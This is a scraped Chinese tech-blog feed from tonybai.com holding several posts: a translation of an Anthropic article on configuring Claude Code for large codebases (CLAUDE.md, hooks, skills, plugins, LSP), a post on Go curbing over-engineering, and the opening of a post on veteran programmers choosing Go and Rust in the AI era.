成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/18/go-performance-optimization-over-rust-rewrites/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-performance-optimization-over-rust-rewrites-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/18/go-performance-optimization-over-rust-rewrites\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/18/go-performance-optimization-over-rust-rewrites\"\u003ehttps://tonybai.com/2026/05/18/go-performance-optimization-over-rust-rewrites\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近年来，如果你常年混迹于国内外各大技术社区，你一定会感受到一种近乎狂热的“政治正确”：\u003cstrong\u003e带垃圾回收（GC）的语言都有原罪，万物皆可（且应该）用 Rust 重写。\u003c/strong\u003e\u003c/p\u003e","title":"别神话 Rust 重写了：搞定1%热路径，Go 性能照样起飞"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/17/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start\n大家好，我是Tony Bai。\n在 AI 编码工具普及的今天，我们往往容易陷入一种认知误区：认为只需接入最顶尖的模型，生产力便会随之爆发。然而，当我们将 Claude Code 引入拥有数百万行代码、错综复杂的微服务架构或积淀深厚的遗留系统中时，单纯的“模型能力”往往会触碰到现实的边界。\n真正的大规模部署，比拼的并非仅仅是单一模型的推理上限，而是如何构建一套高效的“工程化框架”。如何通过 CLAUDE.md 让 AI 读懂组织的隐性约定？如何利用钩子（Hooks）与插件（Plugins）让工具实现自我演进？又该如何将“代码库地图”转化为 AI 的导航指南？\n近期Anthropic发布了一篇名为《How Claude Code works in large codebases: Best practices and where to start》的文章，深度揭露了 Anthropic 团队在企业级场景下的实践智慧，为你揭示如何通过精细化的工程布局，让 Claude Code 真正成为大型代码库中不可或缺的高效协作伙伴。\n下面是这篇文章的译文。\n最成功的 Claude Code 部署案例都共享了一套跨配置、工具和组织结构的可识别模式。本文是“Claude Code 大规模应用”系列文章的一部分，旨在分享工程组织在大规模环境下使用 Claude Code 的最佳实践。\nClaude Code 正应用于数百万行的单体仓库（monorepo）、拥有数十年历史的遗留系统、跨越数十个存储库的分布式架构以及拥有数千名开发人员的组织中。这些环境带来了较小的、更简单的代码库所不具备的挑战，即跨越不同子目录或没有共享根目录的遗留代码，其构建命令各不相同。\n本文涵盖了我们观察到的促成 Claude Code 大规模成功部署的模式。我们用“大型代码库”来指代广泛的部署场景：包含数百万行代码的单体仓库、运行数十年的遗留系统、数十个微服务的集合，或以上各种形式的组合。这还包括运行在 AI 工具通常不常关联的语言（如 C, C++, C#, Java, PHP 等）上的代码库。（得益于最近的模型版本，Claude Code 在这些情况下的表现优于大多数团队的预期。）虽然每个大型代码库的部署都由其特定的版本控制、团队结构和累积的约定所塑造，但这些模式在各处具有普遍性，是团队考虑采用 Claude Code 的良好起点。\nClaude Code 如何导航大型代码库 Claude Code 像软件工程师一样导航代码库：它遍历文件系统、读取文件、使用 grep 查找所需内容，并跨代码库遵循引用。它运行在开发人员的机器上，不需要构建、维护代码库索引或上传到服务器。\n基于 RAG（检索增强生成）的 AI 编码工具通过嵌入整个代码库并在查询时检索相关块来工作。在大规模场景下，这些系统可能会失败，因为嵌入管道无法跟上活跃的工程团队。当开发人员查询索引时，它反映的是几周、几天甚至几小时前存在的代码库。检索可能会返回一个两周前重命名的函数，或引用一个在上次推送中已删除的模块，而没有任何过时的提示。\n智能体搜索（Agentic search）避免了这些故障模式。没有需要维护的嵌入管道或集中式索引，因为成千上万的工程师在提交新代码。每个开发人员的实例都基于实时代码库中工作。\n但这种方法有一个权衡：当 Claude 有足够的上下文知道去哪里时，它效果最好。这意味着 Claude 的导航质量取决于代码库配置的好坏，即通过 CLAUDE.md 文件和技能来分层上下文。如果你要求它在十亿行代码中查找某种模糊模式的所有实例，你在工作开始前就会触及上下文窗口限制。投入精力进行代码库设置的团队会看到更好的结果。\nHarness 与模型同样重要 关于 Claude Code 能力最常见的误解之一是它完全由所使用的模型决定。团队专注于模型的基准测试以及它在任务测试中的表现。实际上，围绕模型的生态系统——即“Harness”——比模型本身更能决定 Claude Code 的表现。\n该Harness 由五个扩展点构建——CLAUDE.md 文件、钩子（Hooks）、技能（Skills）、插件（Plugins）和 MCP 服务器——每个扩展点服务于不同的功能。团队构建它们的顺序也很重要，因为每一层都构建在前一层之上。LSP 集成和子智能体（Subagents）完善了整个设置。以下，我们解释了这些组件的功能：\nCLAUDE.md 文件优先： 这些是 Claude 在每次会话开始时自动读取的上下文文件：根目录用于全局概览，子目录用于本地约定。它们为 Claude 提供无需任何额外操作即可掌握的代码库知识。因为无论任务是什么，它们都会在每次会话中加载，所以确保它们仅包含广泛适用的内容，可以防止它们成为性能负担。\n钩子（Hooks）使设置能够自我改进： 大多数团队认为钩子是防止 Claude 做错事的脚本，但它们更有价值的用途是持续改进。一个停止钩子可以在会话期间反思发生了什么，并提出更新 CLAUDE.md 的建议，同时上下文仍然新鲜。启动钩子可以动态加载特定于团队的上下文，因此每位开发人员无需手动配置即可获得适合其模块的设置。对于像代码检查（linting）和格式化这样的自动化任务，钩子可以确定性地强制执行规则，产生比依赖 Claude 记住指令更一致的结果。\n技能（Skills）在不使会话臃肿的情况下实现按需专业知识： 在拥有数十个任务的大型代码库中，并非每个专业知识都需要出现在每个会话中。技能通过渐进式披露（progressive disclosure）解决了这个问题，剥离专用的工作流和领域知识，只有当任务需要时才会加载它们。例如，当 Claude 正在评估安全漏洞时，安全审查技能会加载；当进行代码更改且需要更新文档时，文档处理技能会加载。\n技能还可以限定在特定路径上，因此它们仅在代码库的相关部分激活。一个拥有支付服务的团队可以将他们的部署技能绑定到该目录，这样当有人在单体仓库的其他地方工作时，它永远不会自动加载。\n图 Claude Code扩展层一览 插件（Plugins）分发工作成果： 大型代码库面临的一个挑战是良好的设置会变得“部落化”。插件将技能、钩子和 MCP 配置捆绑到一个可安装的包中，这样当新工程师在第一天安装该插件时，他们将立即获得与那些一直使用 Claude 的人相同的上下文和能力。插件更新可以通过托管市场（managed marketplaces）在整个组织内分发。\n例如，一家大型零售商与我们合作，构建了一个技能，将 Claude 连接到他们的内部分析平台，以便业务分析师无需离开工作流即可获得性能数据。他们在全面推广前将此作为插件分发。\n语言服务器协议（LSP）集成赋予 Claude 与开发人员在 IDE 中相同的导航能力： 大多数大型代码库的 IDE 已经在运行 LSP，支持“转到定义”和“查找所有引用”。将此呈现给 Claude 赋予了它符号级精度：它可以跟踪函数调用到其定义、跨文件跟踪引用，并区分不同语言中名称相同的符号。如果没有这一点，Claude 会进行文本匹配，并可能落在错误的符号上。一家企业软件公司在全面推广 Claude Code 之前，在全公司范围内集成了 LSP，专门用于 C 和 C++ 的大规模导航。对于多语言代码库，这是最具价值的投资之一。\nMCP 服务器扩展一切： MCP 服务器是 Claude 如何连接到它原本无法触及的内部工具、数据源和 API。最复杂的团队构建了 MCP 服务器，通过将结构化搜索作为 Claude 可以直接调用的工具来暴露出来。其他人则将 Claude 连接到内部文档、票务系统或分析平台。\n子智能体（Subagents）分离探索与编辑： 子智能体是一个拥有自己上下文窗口的隔离 Claude 实例，它承担任务、完成工作，并仅将最终结果返回给父智能体。一旦Harness框架就位，一些团队会启动一个只读子智能体来映射子系统并将发现结果写入文件，然后由主智能体进行全面编辑。\n下表总结了每个组件的作用、加载时间以及我们常见于每个组件的错误：\n成功部署的三种配置模式 你如何为大型代码库配置 Claude Code 取决于代码库的结构。尽管如此，我们观察到的部署中始终出现三种模式。\n使代码库在大规模下可导航 Claude 帮助大型代码库的能力取决于其查找正确上下文的能力。每次会话加载太多上下文会导致性能下降，而加载太少则会使 Claude 盲目导航。最有效的部署会在前期投入，使代码库对 Claude 可读。以下模式始终出现：\n保持 CLAUDE.md 文件精简且分层。 Claude 在代码库中移动时会累积加载它们：根目录提供大局观，子目录提供本地约定。根目录应仅包含指针和关键注意事项；其余所有内容都会造成噪音。 在子目录中初始化，而不是在代码库根目录。 当它被限制在实际开发的代码库部分时，Claude 的工作效果最好。 按子目录限制范围和 lint 命令。 当 Claude 更改一项服务时，运行全套测试会导致超时并浪费无关的输出。子目录级别的 CLAUDE.md 文件应指定适用于代码库该部分的命令。这对于具有深度跨目录依赖关系的编译型单体仓库来说，按目录进行范围限制更难实现，且可能需要特定于项目的构建配置。 使用 .ignore 文件排除生成的文件、构建产物和第三方代码。 在 .claud/settings.json 中提交 permissions.deny 规则意味着排除项是版本控制的，因此每位开发人员无需自己配置即可获得相同的降噪效果。在某些代码库中，生成的文件本身就是开发工作的对象。开发人员可以在其本地设置中覆盖项目级排除项，而不会影响团队的其他成员。 当目录结构无法完成工作时，构建代码库地图。 对于那些没有整理成常规目录结构的组织，一个在 repo 根目录下包含顶层文件夹描述及一行内容摘要的轻量级 markdown 文件，可以在打开文件前提供一个目录索引供 Claude 扫描。对于拥有数百个顶层文件夹的代码库，这种方法作为分层方法效果最好：根文件仅描述最高级别的结构，而子目录 CLAUDE.md 文件在 Claude 遍历目录树时按需提供下一级别的详细信息。对于更简单的情况，通过 @ 引用特定的文件或目录也可以完成同样的工作。 运行 LSP 服务器，以便 Claude 按符号而不是字符串进行搜索。 在大型代码库中，针对通用函数名进行 Grep 会返回数千个匹配项，Claude 会消耗上下文文件来找出哪些内容相关。LSP 仅返回指向同一符号的引用，因此在 Claude 读取之前会进行过滤。设置此项需要为你的语言安装代码智能插件和相应的语言服务器二进制文件；Claude Code 文档涵盖了可用的插件和故障排除。 一个警告：存在分层 CLAUDE.md 方法失效的边缘情况，例如拥有数十万个文件夹和数百万个文件的代码库，或非 git 版本控制系统上的遗留系统。我们将在本系列的后续文章中讨论它们的挑战。\n随着模型智能的发展积极维护 CLAUDE.md 文件 为当前模型编写的指令可能会在面对未来模型时产生反作用。引导 Claude 遵循其难以处理的模式的 CLAUDE.md 文件，在下一代模型出现时，可能会变得不必要或起到积极的限制作用。例如，一条告诉 Claude 分解每次重构的 CLAUDE.md 规则可能曾帮助旧模型保持在轨道上，但会阻止新模型完成它所处理的更高级的跨文件编辑。\n在模型的推理能力或 Claude Code 自身工具的开销变得不再重要时，这些限制就成了负担。一个截获文件写入以在 Perforce 代码库中强制执行 p4 edit 的钩子，在 Claude Code 增加原生 Perforce 模式后变得多余。\n团队应预计每三到六个月进行一次有意义的配置审查，但只要在重大模型发布后感觉性能停滞，也值得进行一次审查。\n为 Claude Code 的管理和采用分配所有权 仅靠技术配置无法推动采用。那些在组织层面也进行了正确投入的组织获得了成功。\n传播速度最快的推广都有专门的基础设施投资，而非广泛的全面开放。一个小团队，有时甚至只有一个人，将工具预先配置好，以便开发人员在第一次接触时就适合他们的工作流程。在一家公司，几名工程师在第一天就构建了一套可用的插件和 MCP；在另一家公司，另一个团队在推广前就准备好了基础设施。在这两种情况下，开发人员的首次体验是富有成效的，而不是令人沮丧的，采用也由此蔓延开来。\nClaude Code 推广的三个阶段 今天从事这项工作的团队倾向于位于开发人员体验或开发人员生产力部门，这通常是负责新工程师入职和构建开发工具的职能。几个组织中出现的一个新兴角色是智能体经理（agent manager）：一个混合 PM/工程师职能，专门致力于管理 Claude Code 生态系统。对于没有专门团队的组织，最小可行版本是一个 DRI：一个人拥有对 Claude Code 配置的所有权、对设置、权限策略、插件市场和 CLAUDE.md 约定的批准权，并负责保持它们的更新。\n自下而上的采用会产生热情，但如果没有人集中管理，就会变得支离破碎。你需要有一个个人或团队组装并倡导正确的 Claude Code 约定（例如标准化的 CLAUDE.md 层级和精选的技能与插件）。如果没有这项工作，知识将保持部落化，采用也会停滞。\n在大型组织中，特别是在受监管的行业，治理问题很早就出现了，例如：谁控制可用的技能和插件，你如何防止数千名工程师独立重复做同样的事情，你如何确保 AI 生成的代码经过与人类生成的代码相同的审查流程？为了尽早解决这些问题，我们建议从一套定义的经批准的技能、必需的代码信心构建开始。\n我们观察到，组织中平稳的部署是在早期通过让工程、信息安全和治理代表聚在一起共同定义需求并建立推广路线图来建立跨职能工作组。\n将这些模式应用到你的组织 Claude Code 是围绕传统的软件工程环境设计的，工程师是主要的代码库贡献者，且 repo 遵循标准目录结构。大多数大型代码库都符合这一模式，但非传统设置，例如具有大型二进制资产的游戏引擎、具有非常规版本控制的环境，或非工程师参与的代码库，则需要额外的配置工作。我们的指导假设采用常规设置，并且我们观察到的模式在我们的许多客户中都有效。任何剩余的复杂性都需要针对你的代码库、工具和组织进行具体的判断。这就是 Anthropic 的应用 AI 团队直接与工程团队合作，将这些模式转化为适合你组织特定需求的专业知识的地方。\n企业Claude Code 入门清单 致谢： 特别感谢来自 Anthropic 应用 AI 团队的 Alon Krifcher、Charmaine Lee、Chris Concannon、Harsh Patel、Henrique Savelli、Jason Schwartz、Jonah Dueck 和 Kirby Kohlmorgen 分享他们在规模化部署 Claude Code 方面的经验，并感谢 Zoox 的 Amit Navindgi 对本文提供反馈。\n原文链接：https://claude.com/blog/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/17/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/17/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/17/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start\"\u003ehttps://tonybai.com/2026/05/17/how-claude-code-works-in-large-codebases-best-practices-and-where-to-start\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 编码工具普及的今天，我们往往容易陷入一种认知误区：认为只需接入最顶尖的模型，生产力便会随之爆发。然而，当我们将 Claude Code 引入拥有数百万行代码、错综复杂的微服务架构或积淀深厚的遗留系统中时，单纯的“模型能力”往往会触碰到现实的边界。\u003c/p\u003e","title":"如何在大型代码库中运用 Claude Code：最佳实践及入门指南"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/16/go-cured-my-over-engineering-addiction-after-java-ts\n大家好，我是Tony Bai。\n在软件工程的圈子里，有一种病，几乎所有写过几年 Java 或 TypeScript 的程序员都得过，而且往往病得不轻。\n这种病叫：“过度设计综合征（Over-engineering Syndrome）”。\n症状表现为：当你需要写一个简单的打印功能时，你脑子里第一反应不是写一行 print(“hello”)，而是要去建一个 IPrinter 接口，然后搞一个 PrinterFactory 工厂类，再用依赖注入（DI）容器把一个单例的 ConsolePrinterImpl 塞进去。\n美其名曰：为了未来的可扩展性。\n结果呢？原本 10 行代码能搞定的事，被你写成了 100 行。半年后你自己回来看，连你都不知道那堆不知所云的接口到底在干嘛。\n“在这些语言里，抽象，几乎变成了一项竞技体育。”\n就在前几天，Reddit 的 r/golang 社区里，一篇名为**《Go 是让我最终停止过度设计的语言》**的帖子引发了各社区程序员的共鸣与热烈讨论。\n帖子的作者讲述了自己从一个精通“代码杂技”的 TS/Java 老兵，在被 Go 语言“毒打”后，最终获得技术救赎的心路历程。\n今天，我们就来看看 Go 语言究竟用了什么“黑魔法”，硬生生地把一群热衷于炫技的代码极客，改造成了最纯粹的实用主义者。\n痛苦的戒断反应：当语言对你说“不” 原作者在帖子开头，极其生动地描述了他初遇 Go 语言时的崩溃感。\n作为一个在 TS 生态里如鱼得水的老兵，他习惯了用各种高级特性去把代码写得“非常聪明（Clever）”。但当他在一个业余项目中开始使用 Go 时，他发现这门语言简直是个**“直男”**：\n“没有继承，没有魔法，没有花里胡哨的元编程技巧，甚至连个像样的通过注解实现的 DI 容器都没有。起初，这感觉就像是在束缚我，就像被迫只用一只手打字。”\n这几乎是所有高级语言开发者转向 Go 时的第一反应。你满脑子都是各种华丽的设计模式，但 Go 的编译器冷酷地告诉你：“对不起，这里不准炫技。”\n你试图用多层继承来复用代码？Go 说不行，用组合。\n你试图用 AOP（面向切面编程）来统一处理日志？Go 说不行，老老实实写中间件包裹函数。\n你试图为了某个可能永远不会到来的需求提前写个抽象接口？Go 社区的规范告诉你：等你需要多个实现的时候再写，不要提早抽象！\n在这个阶段，开发者往往会感到极度的痛苦和不适。因为他们赖以生存的、用来彰显自己“技术水平很高”的工具被彻底没收了。\n顿悟的时刻：笨拙的胜利 然而，奇妙的事情在大约一个月后发生了。\n作者写道：\n“我的大脑突然‘翻转’了。我停止了试图在 Go 里玩那些聪明的 Java 技巧，开始老老实实地用 Go 的方式（boring go thing）做事。\n突然之间，代码变得极其容易阅读。不仅仅是我的代码，我看过的每一个 Go 开源代码库，我都感觉阅读速度快得飞起。因为当你想要搞清楚它做了什么时，你只要找到它，就完了，你可以继续前进。”\n这正是 Go 语言最核心的杀手锏：“代码可读性（Readability）”的降维打击。\n在重度抽象的代码库中，逻辑是碎片化的。一半的代码是业务，另一半的代码是为了连接这些业务而存在的“管道（Plumbing）”。你为了追踪一个请求，可能要跳转 5 个接口定义和 3 个隐式绑定的工厂类。\n而在 Go 里，一切都是直白的、平铺开的（Flat）。虽然你可能多写了几次同样的循环，多写了几遍看起来有点啰嗦的代码，但你永远不需要在一个又一个的接口跳转中迷失方向。\n评论区里，一位开发者给出了一个让所有人拍案叫绝的回答：\n“作为一个首席工程师，我现在的目标是：写出来的代码，必须要让一个初级工程师（Junior）觉得平易近人。我不在乎是否有一个更‘酷炫’的方法。一个初级工程师必须能接手我的工作并继续跑下去。所以，我遵循 KISS 原则（Keep It Simple, Stupid）。”\n最牛逼的代码，不是写得像天书，而是写得像刚毕业的实习生也能一眼看懂的大白话。\n争议的核心：“烦人的”错误处理，其实是防弹衣 当然，这场大讨论中不可避免地提到了 Go 语言常年被喷的最大痛点：满屏的 if err != nil { return err }。\n习惯了 try-catch 一把梭的开发者觉得这简直是冗余的体力活。\n但真正经历过生产环境毒打的老兵们，却对这种“烦人”的设计感恩戴德。\n一位开发者的反思极其深刻：\n“对我来说，转变最大的是错误处理。一开始那些 if err != nil 的样板代码看起来真的很蠢。直到你意识到：它强迫你主动思考可能发生的每一个单一的故障点，而不是像在那些支持异常（Exceptions）的语言里那样，抛出异常栈，然后祈祷上层有个 try/catch 把它接住。\n这是一个正确的权衡（Right tradeoff）：它让代码写起来慢，但读起来极其清晰。”\n在 Java 里，一个未被捕获的异常可能在离案发地十万八千里的地方爆炸，留下一堆毫无线索的 Stack Trace。\n而在 Go 里，每一个错误都像是一个显式的返回值，它逼着你在案发现场做出决定：是降级处理、是打日志、还是直接抛给上层。\n这种在编码阶段的“精神折磨”，换来的是在凌晨三点排查线上故障时的“心如止水”。\n反思：语言塑造思维 在讨论的末尾，原作者提到了一个极其令人震撼的个人体验：\n“最巨大的好处发生在 6 个月后。我打开了一个我几个月没碰过的 Go 服务，我居然在 20 分钟内就完全找回了状态。这在我以前用其他语言自己写的代码库里，是从未发生过的！”\n这段话，道出了软件工程最残酷的真相。\n在现实的商业世界中，代码被“读”的次数，远远大于被“写”的次数。我们今天为了“炫技”和“偷懒”而引入的复杂抽象，在未来都会变成自己或同事头上高悬的达摩克利斯之剑。\nGo 语言的伟大之处，不在于它提供了多么强大的功能，而在于它用编译器级别的强制力，物理切断了程序员走向过度设计的退路。\n它就像一个严肃的教练，时刻在你耳边咆哮：\n“别搞继承了，给我用组合！” “别提前抽象了，等你复制了三遍同样的逻辑再去重构！” “别隐藏错误了，给我老老实实写 if err != nil ！” 正如评论区那句精辟的总结：“Java 教会了我抽象，而 Go 教会了我停止抽象。”\n小结 最好的工具，永远是那个不会在你偶尔一拍脑袋想炫技时，配合你演出的工具。\n当我们褪去年轻时对各种花哨设计模式的盲目崇拜，回归到用代码解决商业问题的本质时，你会发现，Go 语言那看似平庸的“笨拙”，正是它能撑起云原生时代半壁江山的终极底气。\n在这个大模型开始疯狂自动生成代码的时代，Go 那种一眼望到底的清晰逻辑，更将成为人类审查 AI 代码时，最坚固的一道防线。\n简单，才是不可被轻易击败的复杂。\n资料链接：https://www.reddit.com/r/golang/comments/1t9fyfp/go_is_the_language_that_finally_made_me_stop/\n今日互动探讨：\n在你的编程生涯中，你有没有写过让你后来自己看都觉得“用力过猛”的过度设计代码？你觉得 Go 语言这种强行压制抽象的设计哲学，是保护了团队，还是扼杀了创造力？\n欢迎在评论区分享你的血泪史与感悟！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/16/go-cured-my-over-engineering-addiction-after-java-ts/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-cured-my-over-engineering-addiction-after-java-ts-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/16/go-cured-my-over-engineering-addiction-after-java-ts\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/16/go-cured-my-over-engineering-addiction-after-java-ts\"\u003ehttps://tonybai.com/2026/05/16/go-cured-my-over-engineering-addiction-after-java-ts\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程的圈子里，有一种病，几乎所有写过几年 Java 或 TypeScript 的程序员都得过，而且往往病得不轻。\u003c/p\u003e\n\u003cp\u003e这种病叫：\u003cstrong\u003e“过度设计综合征（Over-engineering Syndrome）”\u003c/strong\u003e。\u003c/p\u003e","title":"写了 10 年 Java/TS，Go 语言终于治好了我的“过度设计”绝症"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/14/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era\n大家好，我是Tony Bai。\n在软件工程的浩瀚星河中，有两位堪称“活化石”级别的宗师：\n一位是 Eric S. Raymond (ESR)，开源运动的先驱，那本被誉为开源圣经的《大教堂与集市》以及《Unix编程艺术(The Art of UNIX Programming)》一书均是出自他手。他是一个写了 40 年 C 语言的硬核黑客。\n另一位是 Uncle Bob Martin (Bob 大叔)，敏捷宣言的签署人之一，《敏捷软件开发》、《代码整洁之道 (Clean Code)》等程序员经典书籍的作者，无数 Java 和 C# 程序员的精神导师。\n这两位加起来写了快一百年代码的传奇人物，最近却在 X (Twitter) 平台上，不约而同地抛出了一个足以引发技术圈大地震的论断：\n在如今这个被 AI 席卷的时代，他们双双放弃了自己曾经最擅长的语言（C 和 Java），转而全面拥抱 Go 语言，并在特定底层场景下使用 Rust。\n更令人震撼的是，ESR 直接宣告了手工古法编程模式的死刑：\n“手写代码的时代基本结束了（The age of hand-coding is mostly over）。现在选择编程语言的标准，已经彻底变了。”\n今天，我们就来深度扒开这场顶级黑客的“赛博夜话”，看看在 AI 智能体（Agent）狂飙突进的 2026 年，我们究竟该如何重新审视和选择我们手中的“兵器”。\n认知颠覆：当 AI 成为主程序员，语言的选择标准变了 我们过去是如何选择编程语言的？\n语法是否优雅？生态是否繁荣？框架是否齐全？这些都是基于“人类如何高效手写代码”而设定的标准。\n但 ESR 尖锐地指出，在如今我们拥有“机器朋友（Robot friends / AI）”来完成绝大部分代码生成和翻译工作的时代，这些旧标准已经失效了。\n现在的核心标准只有两个：\n1. 你的 AI 朋友，能不能高质量地生成这种语言的代码？\n2. 生成之后，作为人类的你，能不能一眼看懂（Review）这些代码？\n“如今，我使用什么计算机语言是否顺手，已经不再那么重要了，真正重要的是我正在使用的‘机器朋友’能否高质量地生成它。\n同时也重要的是我能否读懂这门语言，因为我需要亲自去审查（Review）这些代码。”\n在这个新标准下，那些充满了黑魔法（如各种奇葩的宏、复杂的继承体系、极度隐晦的元编程）的语言，瞬间成了灾难。因为当 AI 吐出几百行充满魔法的代码时，人类审查的“认知负荷”将是灾难性的。\n宗师的抉择：为什么是 Go 和 Rust？ 在这个全新的游戏规则下，两位宗师给出了他们惊人一致的答案。\nBob 大叔的 Go 语言初体验：快、无聊、但完美契合 AI\nBob 大叔在评论区透露，他正在设计一门关于“使用 Agent 进行软件工程”的在线课程。\n“在过去，我会选择像 Java、C# 或 JavaScript 这样流行的语言来做课程。但这次我选择了 Go。不是因为它流行，而是因为它很快（Fast）。我的学生们不会花太多精力去钻研 Go 的语法细节，但他们会看到 Go 的表现。”\nGo 语言那常被诟病的“啰嗦”和“无聊”，在 AI 时代反而成了最强大的护城河。\n因为 Go 的语法极度收敛，没有隐式类型转换，没有复杂的泛型继承。当 AI 生成一段 Go 代码时，那满屏极其直白的 if err != nil，让人类工程师一眼就能看穿它的逻辑底裤。在审查 AI 代码时，没有魔法，就是最高的生产力。\nESR 的决断：别了，我写了 40 年的 C 语言\nESR 的话更具传奇色彩和悲壮感：\n“我可能再也不会用 C 语言开新项目了。那除了自虐还有什么意义？我花了 40 年写 C，我非常精通。但我会毫不留恋地把它，连同它的缓冲区溢出、堆破坏、未定义行为和可移植性问题，全部抛在脑后。”\n他现在的探索性编程，全部交给了 Python 或 Go。\n“我的机器朋友在生成这两种语言的代码时都非常出色。我认为它们在生成 Go 代码时的表现甚至略胜一筹，这可能是因为 Go 语言拥有更小的表面积（smaller surface）。”\n(注：Smaller surface 